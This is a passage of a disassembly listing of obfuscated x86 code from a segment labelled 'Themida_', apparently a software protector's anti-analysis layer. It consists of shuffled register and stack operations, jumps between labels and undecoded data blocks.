		dd 8304C483h, 0C5FE04C4h, 0E907E5C0h, 0FFFF734Fh, 4C681h
		dd 0C6810000h, 4, 5C243487h, 0FFF72BE9h, 89565AFFh, 2FAEE9E6h
		dd 0D8680000h, 89000028h, 4812424h, 424h, 0B8505D00h, 16E53B60h
		dd 507E8C1h, 241F2E74h,	0AA59A225h, 2DE8D138h, 1, 42C4C2Dh
		dd 58C50110h, 6804C583h, 40D5h,	0FFF339E9h, 0E95259FFh
		dd 0FFFFBE5Ch, 35E9EB29h, 81FFFF34h, 0E21780C3h, 81CB293Eh
		dd 0E21780EBh, 0E68593Eh, 89000033h, 0EC83241Ch, 24048904h
		dd 18D6E9h, 2474FF00h, 48F5904h, 0FC685C24h, 89000024h
		dd 4BE2434h, 0E9000000h, 0FFFF205Dh
; ---------------------------------------------------------------------------

loc_560CF8:				; CODE XREF: Themida_:00559C84j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_555D26
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 348704EEh, 34895C24h, 53E68924h, 4BB5352h
		dd 89000000h, 0D3895BDAh, 0B4C6815Ah, 8133A125h, 7058FDEEh
		dd 81DE0159h, 7058FDC6h, 0B4EE8159h, 0FF33A125h, 815B2434h
		dd 4C4h, 0B578E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D6A:				; CODE XREF: Themida_:00554670j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56437B
		sub	esp, 4
		jmp	loc_5658DC
; ---------------------------------------------------------------------------
		dd 104C483h, 0EC815AD1h, 4, 0E9240C89h,	0FFFFA138h
; ---------------------------------------------------------------------------

loc_560D90:				; CODE XREF: Themida_:00561E0Fj
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_56491D
; ---------------------------------------------------------------------------
		db 5, 55h, 0EAh
		dd 0C2014527h, 0FFC139E9h, 2AA7BEFFh, 10E97C30h, 5FFFFF5Bh
		dd 31240433h, 41E92404h, 4B00001Eh, 0FFE0B5E9h,	4EC83FFh
		dd 68242C89h, 28F3h, 68243C89h,	668557E0h, 8B2434FFh, 8953243Ch
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 0FFA529E9h, 0B65266FFh
		dd 14E7E92Bh, 0C2810000h, 0DCF05587h, 148BD689h, 4C48324h
		dd 58D4E981h, 0F10125CEh, 58D4C181h, 525E25CEh,	4BF57h
		dd 0A1680000h, 89000031h, 3481243Ch, 0B33A7B24h, 0F2815A14h
		dd 14B33A7Bh, 3467E9h
		db 0
; ---------------------------------------------------------------------------

loc_560E39:				; CODE XREF: Themida_:00564128j
		add	ebp, 0B1FB0BA2h
		and	ebp, 2BE97C06h
		push	58D6h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 43A86EADh
		mov	edi, 354B20A4h
		xor	edi, eax
		pop	eax
		xor	edi, 34743FB7h
		and	ebp, edi
		jmp	loc_562186
; ---------------------------------------------------------------------------
		dd 227FE4BBh, 12C3812Ch, 53E7049Ah, 0E9595B51h,	0FFFFA1A0h
		dd 0B53C381h, 77E91FF3h, 81000003h, 4C4h, 40500h, 4330000h
		dd 24043124h, 5C240433h, 0DD6BE957h, 5457FFFFh,	368EE95Fh
		dd 0B9510000h, 0A21AD6h, 2D59C801h, 2EC333A1h, 0BF57D001h
		dd 34F305A3h, 0E64E781h, 0C7813904h, 0E2372217h, 0FF6137E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560ED9:				; CODE XREF: Themida_:0055C532j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_558DF4
; ---------------------------------------------------------------------------

loc_560EE7:				; CODE XREF: Themida_:00563575j
		and	ecx, 4AB23CAFh
		push	esi
		mov	esi, 245B0875h
		add	ecx, esi
		pop	esi
		push	ecx
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_55F80B
; ---------------------------------------------------------------------------
		dd 58E9E289h, 8BFFFF94h, 0E368243Ch, 89000062h,	0EC81242Ch
		dd 4, 50242489h, 4B8h, 24448100h, 96404904h, 74E9512Bh
		dd 66FFFF43h, 66240C89h, 66C8B60Fh, 0CDE99C51h,	0ADFFFEF4h
		dd 207F83h, 0BFB840Fh, 0EE810000h, 8881EA3h, 1A6AC681h
		dd 0C681381Ah, 5F724417h, 3CC0C681h, 0BA5204D7h, 58BB15ACh
		dd 15AD601h, 95CFE9C6h,	6866FFFFh, 89661245h, 8DE92404h
		dd 0BAFFFEF4h, 9C25A5BFh, 0FF989BE9h, 65E949FFh, 68000027h
		dd 108Ch, 68241C89h, 4,	0D4C5815Bh, 10DE520h, 0B2F5E9DDh
		dd 3489FFFFh, 0CB57E924h, 0EE81FFFFh, 3E222AF5h, 315EF331h
		dd 0D0295BDAh, 8324148Bh, 0C60504C4h, 2973AA1Fh, 1FC62DD0h
		dd 7FE973AAh, 500002Fh,	4, 42Dh, 24048700h, 2434895Ch
		dd 6B3510BEh, 5EF58904h, 0FFB28BE9h, 0EC835AFFh, 242C8904h
		dd 0FF8B8CE9h, 0CFE181FFh, 0C1318A49h, 0DFE902E9h, 54FFFF88h
		dd 81242C8Bh, 4C4h, 4C58100h, 68000000h, 55A4h,	0BA241489h
		dd 4, 33DEED81h, 46E979A3h, 81FFFFF7h, 4C4h, 66B25200h
		dd 8C0EA80h, 24148BD7h,	4C481h,	74E90000h, 0BFFFFF40h
		dd 0FFFFFFFFh, 34FFFD01h, 243C8B24h, 0E904C483h, 0FFFFF208h
; ---------------------------------------------------------------------------

loc_56107C:				; CODE XREF: Themida_:0055E3F2j
		mov	edi, 674D5DEAh
		shr	edi, 2
		sub	edi, 19D35776h
		sub	esi, edi
		jmp	loc_565C0D
; ---------------------------------------------------------------------------
		db 0Dh,	16h, 25h
		dd 0E8C13295h, 0C74AE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56109E:				; CODE XREF: Themida_:0055A292j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5600CA
; ---------------------------------------------------------------------------
		db 81h
		dd 4EEh, 3212E900h, 2C330000h, 242C3124h, 5C242C33h, 4246C81h
		dd 36541276h, 4246C01h,	12A3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5610D9:				; CODE XREF: Themida_:0055C806j
		push	7894h
		mov	[esp], ecx
		mov	ecx, 4
		mov	ebx, ecx
		jmp	loc_562B2E
; ---------------------------------------------------------------------------

loc_5610ED:				; CODE XREF: Themida_:00552389j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jnz	loc_55469E
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	ebx
		jmp	loc_5532BA
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0C4BE924h, 89530000h, 4C381E3h, 83000000h, 1C8704EBh
		dd 0CF52E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56112A:				; CODE XREF: Themida_:00557058j
		push	esi
		mov	esi, 7C040EDFh
		sub	esi, 7C040EDBh
		add	ebp, esi
		jmp	loc_55D29D
; ---------------------------------------------------------------------------

loc_56113D:				; CODE XREF: Themida_:00553219j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		and	edx, 6A292552h
		neg	edx
		sub	edx, 9FFEFBAAh
		jmp	loc_5579CE
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0F3685B54h, 8900003Bh, 0E952243Ch, 0FFFF2337h, 2B71BF57h
		dd 0FA092E5Fh, 0FF92D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561175:				; CODE XREF: Themida_:005561FDj
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55B200
; ---------------------------------------------------------------------------

loc_5611A2:				; CODE XREF: Themida_:00557E81j
		pop	ecx
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_5595EA
; ---------------------------------------------------------------------------
		dd 1E62BB53h, 44817CBEh, 2E10424h, 5C290365h, 6C810424h
		dd 2E10424h, 33E90365h,	0FFFF60h, 0CEB551D8h, 0E9D7CD80h
		dd 0FFFFB159h, 0F58E328h, 48FC0B6h, 0F226E987h,	8BBAFFFEh
		dd 2932D047h, 7BAE9D1h,	0E943FFFFh, 0FFFF5F95h,	3DA568h
		dd 240C8900h, 7B68E189h, 89000030h, 80E92414h, 0FFFFFFEDh
		dd 0E99C2404h, 0FFFEF1F4h, 283BEB80h, 3BC380EBh, 0C3805966h
		dd 80C32868h, 506668EBh, 3C82E9h, 211BE00h, 0E956613Ch
		dd 1D9Dh, 0CA81F287h, 50AE241Fh, 1B850h, 0C2290000h, 8DF28158h
		dd 0E98611ADh, 0FFFF1B0Ah, 68D831ADh, 701Eh, 2808E9h, 4E3C100h
		dd 7A9CB81h, 0C3811C8Ch, 3CC70BB9h, 9DE9DE31h, 89FFFF40h
		dd 0E8C159C8h, 24054802h, 81EBA73Ch, 0FD0CBFEEh, 4EC8170h
		dd 89000000h, 7BBA2414h, 12D4829h, 0C6015AD6h, 463668h
		dd 241C8900h, 0A60595BBh, 2CF3810Ch, 0E9198908h, 0FFFFC011h
; ---------------------------------------------------------------------------

loc_5612CC:				; CODE XREF: Themida_:0055CB42j
		push	esi
		mov	esi, esp
		jmp	loc_55664C
; ---------------------------------------------------------------------------
		dd 1973E981h, 0F1017079h, 1973C181h, 835E7079h,	0C3304C1h
		dd 240C3124h, 0E9240C33h, 0FFFFF132h, 96A2ED81h, 0EF29140Ah
		dd 24048B5Dh, 4C481h, 0F9290000h, 81243C8Bh, 4C4h, 2434FF00h
		dd 81242C8Bh, 4C4h, 0E3895300h,	0FFDE12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561325:				; CODE XREF: Themida_:00557E45j
		xor	ecx, edi
		pop	edi
		or	edx, ecx
		pop	ecx
		jmp	loc_558267
; ---------------------------------------------------------------------------
		dd 158C501h, 0F5ED81D5h, 0FF091133h, 34FF2434h,	0A46E924h
		dd 0EF88FFFFh, 24048B59h, 6604C483h, 65ECE952h,	535AFFFFh
		dd 0B32469BBh, 0EBE38152h, 8157DA3Ch, 495731EBh, 7DEB8120h
		dd 0E96D6D7Eh, 0A56h
; ---------------------------------------------------------------------------

loc_561374:				; CODE XREF: Themida_:0055E844j
		mov	ebx, 66786B6Dh
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 66786B6Dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_5531C1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 8B24048Fh, 0C2092424h, 6268E2D1h,	8900000Eh
		dd 0EC83241Ch, 240C8904h, 1D6E9h, 4EC8100h, 89000000h
		dd 4812424h, 424h, 24048F00h, 4240481h,	8B000000h, 1FE92404h
		dd 54FFFFC6h, 8124048Fh, 42404h, 34FF0000h, 6DE1E924h
		dd 2489FFFFh, 24048124h, 4, 0FF0848E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561409:				; CODE XREF: Themida_:0055C59Cj
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		push	63B35B8Eh
		pop	edi
		push	esi
		push	edx
		push	4E91755Bh
		pop	edx
		add	edx, 0F2FCD075h
		mov	esi, edx
		pop	edx
		sub	edi, esi
		pop	esi
		or	edi, 157E6A25h
		jmp	loc_5522A2
; ---------------------------------------------------------------------------
		db 83h,	0EEh, 4
		dd 5C243487h, 81240489h, 4ECh, 24248900h, 4240483h, 4BB5358h
		dd 1000000h, 241C8BD8h,	0FFFA32E9h, 0B8685DFFh,	89000044h
		dd 0B850241Ch, 395A11D8h, 617B6850h, 0BB5854C7h, 0D07E87CEh
		dd 0FFE760E9h, 48B66FFh, 0E8AEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561486:				; CODE XREF: Themida_:0056180Dj
		add	ebx, 4
		jmp	loc_554956
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 0E9h
		dd 0FFFFAA37h, 30E0BE56h, 0D6F77753h, 0E903E6C1h, 2F46h
		dd 6EDC05Ah, 0ED80CDFEh, 5D545501h, 4C581h, 0BB530000h
		dd 62521CD2h, 0FF0CC8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5614C5:				; CODE XREF: Themida_:00555375j
		shr	ebx, 3
		jmp	loc_556975
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 83h
		dd 0E94DC672h, 0FFFF3656h, 0E9241431h, 0FFFF8F98h, 5C240C87h
		dd 83240C89h, 8F5404ECh, 0EC812404h, 4,	56240C89h, 665A5CBEh
		dd 5A58B953h, 0F1315366h, 8124348Bh, 4C4h, 246C8100h, 0F17E4904h
		dd 244C0142h, 24448104h, 0F17E4904h, 0C5AEE942h, 1C33FFFFh
		dd 24248B24h, 0C8B60F66h, 220168h, 240C8900h, 73C768h
		dd 48F5400h, 24048324h,	0C1815904h, 4, 8102E983h, 4ECh
		dd 240C8900h, 42474FFh,	592434FFh, 9E668h, 24148900h, 0C281E289h
		dd 4, 0B9515351h, 733524Eh, 0C8BCB89h, 4C48124h, 0B9000000h
		dd 0F8CCADB6h, 7CD4C181h, 0E9811931h, 1E405A77h, 0FFE9D901h
		dd 53000037h, 192089BBh, 0FE99B900h, 0EC813445h, 4, 55243489h
		dd 5D4798BDh, 673DBE6Eh, 90E98986h, 81FFFF5Bh, 3D7FF2EEh
		dd 972E923h, 0C7810000h, 2ADF116Dh, 0E9FA895Bh,	0FFFF98D2h
; ---------------------------------------------------------------------------

loc_5615D8:				; CODE XREF: Themida_:005618A0j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_562A36
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FEEED7E9h, 4EDC1FFh, 8108EDC1h, 0AA6C21C5h,	5DEE316Fh
		dd 0AC7A5705h, 4124E946h, 0C1810000h, 4, 5C240C87h, 0F828D02Ch
		dd 0FFEFEAE9h, 59ED80FFh, 0E93FF580h, 0FFFFF159h, 148BD001h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 2404875Ch
		dd 2824248Bh, 0E99C2404h, 0FFFEEDD4h, 0C781E789h, 4, 3304C783h
		dd 3C31243Ch, 243C3324h, 24048F5Ch, 0C31D1F7h, 240C3324h
		dd 8B240C31h, 0A7682404h, 89000060h, 0E389241Ch, 59BF5750h
		dd 0B8541537h, 5415375Dh, 2056CD05h, 2DF8292Bh,	2B2056CDh
		dd 83243C8Bh, 0C38104C4h, 0D371B17h, 0FF7D05E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5616A5:				; CODE XREF: Themida_:00557182j
		add	esi, ebp
		pop	ebp
		push	esi
		add	dword ptr [esp], 2330947h
		pop	eax
		sub	eax, 2330947h
		pop	esi
		mov	edx, 6FEA557Bh
		add	edx, 69203044h
		add	edx, 18A83FF1h
		jmp	loc_55A8B8
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5A04h, 24248B24h,	83243489h, 17E904ECh, 89FFFFFDh
		dd 0CDE9240Ch, 89FFFF3Dh, 48B2414h, 0E0895024h,	5A2E9h
		dd 0E9815900h, 0FDBA11FFh, 0FF554FE9h, 89525AFFh, 4C281E2h
		dd 56000000h, 0FEF9F9E9h, 0E9D029FFh, 0FFFFE054h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55401F
; ---------------------------------------------------------------------------

loc_561736:				; CODE XREF: Themida_:005513ECj
		push	ebx
		jmp	loc_550569
; ---------------------------------------------------------------------------

loc_56173C:				; CODE XREF: Themida_:0055C8ADj
		add	dword ptr [esp+4], 1C604127h
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_55C000
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F7000000h, 37C3E9D1h, 4242FFFFh, 0F281DAF7h, 0DB07B13h
		dd 0FFDC32E9h, 240C8BFFh, 5004C483h, 88D18851h,	885359C8h
		dd 0E9F988C7h, 0FFFEEE5Fh, 0C281E289h, 4, 9EE95057h, 81FFFFC9h
		dd 4C4h, 2C18100h, 33000000h, 0C31240Ch, 1B58E924h, 7968FFFFh
		dd 0E900002Ah, 0FFFF9722h, 0F02807B6h, 88535A66h, 88D7F6C7h
		dd 241C8BF8h, 4C481h, 282C0000h, 8084EB80h, 0CBE995EBh
		dd 33000040h, 1C31241Ch, 0FD40E924h, 5B54FFFFh,	4C381h
		dd 0EB810000h, 4, 5C241C87h, 0E9242C89h, 0FFFF4E70h
; ---------------------------------------------------------------------------

loc_561800:				; CODE XREF: Themida_:0055E2EBj
		or	edi, 712A187Dh
		jmp	loc_558146
; ---------------------------------------------------------------------------

loc_56180B:				; CODE XREF: Themida_:00564789j
		mov	ebx, esp
		jmp	loc_561486
; ---------------------------------------------------------------------------

loc_561812:				; CODE XREF: Themida_:00562D16j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	55B66F9Fh
		pop	ebp
		xor	ebp, 621750EFh
		neg	ebp
		jmp	loc_55DB9F
; ---------------------------------------------------------------------------
		db 5Ch,	0C1h, 0E5h
		dd 6EDC104h, 0FCCCD81h,	6D6819F1h, 8900005Eh, 0F8BA2414h
		dd 216CED6Fh, 4E95AD5h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56184F:				; CODE XREF: Themida_:005526CDj
		pop	ebp
		sub	ebx, 4E7E18C0h
		jmp	loc_5573B5
; ---------------------------------------------------------------------------

loc_56185B:				; CODE XREF: Themida_:0055CD2Cj
		add	bl, 0F5h
		push	eax
		mov	ah, 0FDh
		dec	ah
		xor	ah, 0DFh
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		add	bl, al
		push	ecx
		push	eax
		jmp	loc_552EA0
; ---------------------------------------------------------------------------
		db 59h
		dd 922DE801h, 8B59991Bh, 0C481242Ch, 4,	5BBBBD55h, 0E8296BDEh
		dd 0D417E95Dh, 8B66FFFFh, 93E92404h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56189F:				; CODE XREF: Themida_:005514E7j
		push	ecx
		jmp	loc_5615D8
; ---------------------------------------------------------------------------
		db 0BEh, 0F6h, 35h
		dd 31E945E5h, 5C00001Ch, 0FF7E5FE9h, 14F751FFh,	240C8B24h
		dd 8104C483h, 6FF85AE9h, 0CEC38190h, 5668450Ah,	491F90BEh
		dd 9701E939h, 8B66FFFFh, 0BAE92404h, 5300003Fh,	0FFF1FAE9h
		dd 5EF129FFh, 0C181D901h, 1A5847B2h, 0FF57ACE9h, 805866FFh
		dd 0D72CEAF1h, 0D704C828h, 0FEEFCCE9h, 0EFC147FFh, 81DFF707h
		dd 531FC7h, 0E9FA0100h,	0FFFF2EC3h
; ---------------------------------------------------------------------------

loc_561918:				; CODE XREF: Themida_:00555752j
		push	ebx
		jmp	loc_5547CF
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFF0293h
; ---------------------------------------------------------------------------

loc_561924:				; CODE XREF: Themida_:0055B315j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5577B5
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFEEADCh, 6804C483h, 2D45h, 0FF4C40E9h, 24248BFFh
		dd 0FF51E1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561959:				; CODE XREF: Themida_:00552C0Fj
		shr	ebp, 4
		add	ebp, 340124E4h
		inc	ebp
		push	eax
		mov	eax, 341AF206h
		xor	ebp, eax
		pop	eax
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		sub	edx, 132E5E69h
		add	edx, edi
		add	edx, 132E5E69h
		push	dword ptr [edx]
		jmp	loc_55E843
; ---------------------------------------------------------------------------
		dd 468EE681h, 0E68166C2h, 5FF518CDh, 8105E6C1h,	763B69F6h
		dd 7BB95142h, 6877750Bh, 0
		dd 59240C29h, 0FF1A5CE9h, 242C87FFh, 2D52685Ch,	14890000h
		dd 0E9E28924h, 12F5h, 4ED4E181h, 0E98137C8h, 6084240h
		dd 32E9CF01h, 0BBFFFEFEh, 4, 575BDD01h,	0C781E789h, 4
		dd 4EF81h, 0D5E90000h, 66FFFF7Ah, 55240C8Bh, 0FF766AE9h
		dd 0ED2D5DFFh, 11F9867h, 67ED05D8h, 875B1F98h, 665C2404h
		dd 5024148Bh, 0EC83E089h, 0F855E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_561A1E:				; CODE XREF: Themida_:00564177j
		jz	loc_55266F
		push	dword ptr [edi+1Ch]
		jmp	loc_564459
; ---------------------------------------------------------------------------
		dd 29BD5553h, 0F70AD94Dh, 14B850DDh, 177CE62h, 0EB8958C5h
		dd 0FCCB815Dh, 0E9486223h, 0FFFFCFCDh, 0E95DE889h, 0FFFF6318h
		dd 92F68h, 24148900h, 7907E956h, 0EF87FFFFh, 764F781h
		dd 0FB29F73Ah, 5BDD015Fh, 1586E9h, 0E9E08900h, 0FFFEF673h
		dd 6CE9C329h, 2DFFFF04h, 221762AAh, 0DBBE5651h,	897DA81Bh
		dd 0C8015EF1h, 243C8B59h, 0E904C483h, 0FFFF85F7h, 505FFD01h
		dd 6D7E66B8h, 24B6257Ch, 0DE0523CCh, 0E9DFB3DBh, 0FFFEF093h
; ---------------------------------------------------------------------------

loc_561AB8:				; CODE XREF: Themida_:0055A98Ej
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 715B7ACFh
		dec	ebp
		sub	ebp, 4D840591h
		not	ebp
		jmp	loc_563203
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0A4h
		dd 0F728C615h, 5E2C1DAh, 0FF5035E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561AE5:				; CODE XREF: Themida_:0055FDCFj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56457A
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 150EE95Eh, 34FF0000h, 240C8B24h, 4C481h, 7D680000h
		dd 8900001Bh, 8B54243Ch, 0C483243Ch, 0A023E904h, 0C15EFFFFh
		dd 0EED107EEh, 0DF5BE946h, 7368FFFFh, 0E9000003h, 0FFFFE5F5h
		dd 3855F8BFh, 0C12E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561B36:				; CODE XREF: Themida_:0055A258j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5589FD
; ---------------------------------------------------------------------------

loc_561B42:				; CODE XREF: Themida_:005638BAj
		xor	ebp, 0C37649h
		mov	ebx, ebp
		jmp	loc_55160E
; ---------------------------------------------------------------------------
		db 52h
		dd 2BBE950h, 248BFFFFh,	4EC8324h, 0E9240C89h, 0FFFF1F92h
		dd 2C681h, 89520000h, 66B951E2h, 0C1410277h, 0F18107E1h
		dd 813BB304h, 34FFCA01h, 3DA8E924h, 0DE290000h,	1B2AC681h
		dd 0C6815C9Eh, 143D37ADh, 0E92434FFh, 0FFFEF980h, 4245C01h
		dd 4244481h, 371A77CCh,	52241C8Bh, 0C281E289h, 4, 8704C283h
		dd 0FF5C2414h, 81582434h, 4C4h,	0E6BA5200h, 0E9640162h
		dd 0FFFF709Ah, 0BE243489h, 36745064h, 0E681DEF7h, 4EBD4784h
		dd 66E9F681h, 0C6832CB4h, 2FF681FFh, 0E93A9B0Dh, 0FFFFA20Dh
		dd 240C8B66h, 4EC81h, 34890000h, 0E95E5424h, 37C3h, 33240431h
		dd 85E92404h, 83FFFFE9h, 1C8704C3h, 0AA685C24h,	89000032h
		dd 4BA2414h, 51000000h,	0B74BF0B9h, 59CD0172h, 0ED81D501h
		dd 72B74BF0h, 0C4E9535Ah, 66FFFFBCh, 6658B168h,	0BA66525Bh
		dd 81664171h, 66048FEAh, 1899C281h, 5AE28166h, 0EAC1666Dh
		dd 0EA816606h, 98E99B81h, 5BFFFF06h, 0A76630BFh, 5DEF314Dh
		dd 4287F781h, 48E9440Dh, 3300000Dh, 3C31243Ch, 243C3324h
		dd 1012D5Ch, 0D829165Ah, 5A010105h, 2D4C0516h, 0F5E95827h
		dd 5FFFFA1h, 4,	405h, 24048700h, 0FF9154E9h, 4BDFFh, 75E90000h
		dd 89FFFF17h, 0C3815EF5h, 508A2E37h, 0EB81EB29h, 508A2E37h
		dd 3C78E9h
		db 0
; ---------------------------------------------------------------------------

loc_561CCD:				; CODE XREF: Themida_:0055814Fj
		mov	edx, esi
		pop	esi
		push	esi
		mov	esi, 5605FBD9h
		add	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		sub	esi, 16F015BBh
		sub	esi, 49DA35BBh
		push	ebx
		jmp	loc_565C94
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 2EC83D8h, 240C8966h,	8801B252h, 68665AD1h, 79E92D56h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_561D07:				; CODE XREF: Themida_:005644BDj
		mov	esp, [esp]
		and	ah, 0CCh
		jmp	loc_558A5E
; ---------------------------------------------------------------------------
		dw 1489h
		dd 8FB224h, 0DA005AD3h,	0FF8D88E9h, 72C581FFh, 50787876h
		dd 0FF6E37E9h, 0E9CB89FFh, 0DF4h, 37D2F781h, 0FE0120E9h
		dd 0F7E6D15Fh, 15F681D6h, 5631180Fh, 5E2404FFh,	4F8E9h
		dd 81E58900h, 4C5h, 4C58300h, 3261E9h, 4C48300h, 4EC81h
		dd 4890000h, 537B824h, 7E915A0h, 8B000014h, 89562414h
		dd 1520E9E6h, 814F0000h, 0EF619DC7h, 86E78121h,	81196E2Eh
		dd 0FEEDC1C7h, 8BF8296Fh, 7CE9243Ch, 83000036h,	0EC8304C4h
		dd 0D614E904h, 0E958FFFFh, 0FFFFD270h, 1230F1BBh, 9779E94Eh
		dd 0FE29FFFFh, 0E9243C8Bh, 0FFFFB34Eh, 2A6EE95Fh, 0F381FFFFh
		dd 0C4DB4EBFh, 0B355D05h, 2DD80134h, 340B355Dh,	0FF02BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561DE1:				; CODE XREF: Themida_:00559D11j
		xchg	edx, [esp]
		pop	ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_564DFF
; ---------------------------------------------------------------------------
		db 58h,	29h, 0D9h
		dd 7C7BE981h, 1C8B1D6Dh, 0D74E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E0A:				; CODE XREF: Themida_:0055C997j
		sub	edx, ecx
		push	dword ptr [esp]
		jmp	loc_560D90
; ---------------------------------------------------------------------------

loc_561E14:				; CODE XREF: Themida_:0055900Aj
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		push	ecx
		mov	ecx, 48BC7CD8h
		sub	edi, ecx
		pop	ecx
		add	edi, edx
		add	edi, 48BC7CD8h
		pop	edx
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 55B9Eh
		add	edi, ecx
		pop	ecx
		add	edi, ecx
		push	2299h
		mov	[esp], edx
		mov	edx, 655749D8h
		shr	edx, 8
		sub	edx, 256565DDh
		sub	edx, 0DAFA95CEh
		sub	edi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_557040
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FFE7DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561E7D:				; CODE XREF: Themida_:00555D63j
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_557020
; ---------------------------------------------------------------------------
		db 81h
		dd 1A1A6AEEh, 0E9555738h, 0FFFFE738h, 33243431h, 28E92434h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E9F:				; CODE XREF: Themida_:00563A71j
		shr	dl, 8
		not	dl
		jmp	loc_562333
; ---------------------------------------------------------------------------
		db 0BDh, 60h, 46h
		dd 0CD812EB9h, 164A0E4Eh, 50EAE581h, 0DDF71E12h, 232BE581h
		dd 0F5811BEBh, 3AAE53B6h, 0F90AED81h, 0EF2917DEh, 0E9F9015Dh
		dd 0FFFF3F02h, 0E95D63BFh, 75C7810Bh, 814D421Bh, 4ECh
		dd 240C8900h, 7753F0B9h, 0BA5EE91Bh, 2C8BFFFFh,	2FA7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561EFE:				; CODE XREF: Themida_:0056406Aj
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Bh
